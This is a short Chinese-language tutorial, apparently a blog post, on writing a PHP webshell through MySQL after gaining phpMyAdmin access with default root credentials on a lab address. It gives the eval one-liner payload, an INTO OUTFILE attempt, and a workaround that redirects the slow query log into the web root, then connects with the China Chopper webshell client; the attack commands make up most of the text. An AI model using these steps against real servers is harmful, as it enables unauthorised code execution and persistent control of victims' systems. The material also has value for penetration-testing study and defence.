小课堂 -- 利用sql语句写入shell

简介: 小课堂 -- 利用sql语句写入shell

目标ip:192.168.52.143

一、御剑扫描该地址

 

image.png

 

获取到重要信息:

1、网站的绝对路径

image.png

 

2、phpmyadmin,并且是默认账号密码:root

 

image.png

 

二、登录数据口后台,写入一句话木马

select '<?php eval($_POST[x]);?>' into outfile 'c:/phpstudy/www/xx.php'

执行的时候报错

 

image.png

 

解决方法:

1、设置slow_query_log=1 启用慢查询日志。

 

image.png

 

2、修改slow_query_log_file日志文件的绝对路径以及文件名

set global slow_query_log_file='c:/phpstudy/www/xx.php'

 

image.png

 

3、向日志文件写入一句话

select '<?php eval($_POST[x]);?>' or sleep(11)

 

image.png

 

三、用菜刀链接

 

image.png

目录
相关文章
|
7月前
|
SQL 数据库
小课堂 -- 绕过去除特殊字符的sql注入
小课堂 -- 绕过去除特殊字符的sql注入
57 0
|
7月前
|
SQL
小课堂 -- sql注入绕过技术
小课堂 -- sql注入绕过技术
141 0
|
7月前
|
SQL 关系型数据库 Shell
postgresql|数据库|批量执行SQL脚本文件的shell脚本
postgresql|数据库|批量执行SQL脚本文件的shell脚本
362 0
|
Oracle 关系型数据库 数据库
新建Oracle 数据库的Shell+SQL脚本
不用图形界面,也不用DBCA的静默方式,下面是用Shell+SQL创建Oracle数据库的脚本。
171 0
|
SQL 关系型数据库 MySQL
SQL注入:为什么拿不到os-shell?
SQL注入:为什么拿不到os-shell?
130 0
|
SQL Shell PHP
某教程学习笔记(一):19、任意文件上传和sql语句拿shell
某教程学习笔记(一):19、任意文件上传和sql语句拿shell
106 0
某教程学习笔记(一):19、任意文件上传和sql语句拿shell
|
SQL 安全 Shell
42、利用sql语句写入shell
42、利用sql语句写入shell
113 0
42、利用sql语句写入shell
|
3月前
|
关系型数据库 MySQL 网络安全
5-10Can't connect to MySQL server on 'sh-cynosl-grp-fcs50xoa.sql.tencentcdb.com' (110)")
5-10Can't connect to MySQL server on 'sh-cynosl-grp-fcs50xoa.sql.tencentcdb.com' (110)")
|
5月前
|
SQL 存储 监控
SQL Server的并行实施如何优化?
【7月更文挑战第23天】SQL Server的并行实施如何优化?
135 13
|
5月前
|
SQL
解锁 SQL Server 2022的时间序列数据功能
【7月更文挑战第14天】要解锁SQL Server 2022的时间序列数据功能,可使用`generate_series`函数生成整数序列,例如:`SELECT value FROM generate_series(1, 10)。此外,`date_bucket`函数能按指定间隔(如周)对日期时间值分组,这些工具结合窗口函数和其他时间日期函数,能高效处理和分析时间序列数据。更多信息请参考官方文档和技术资料。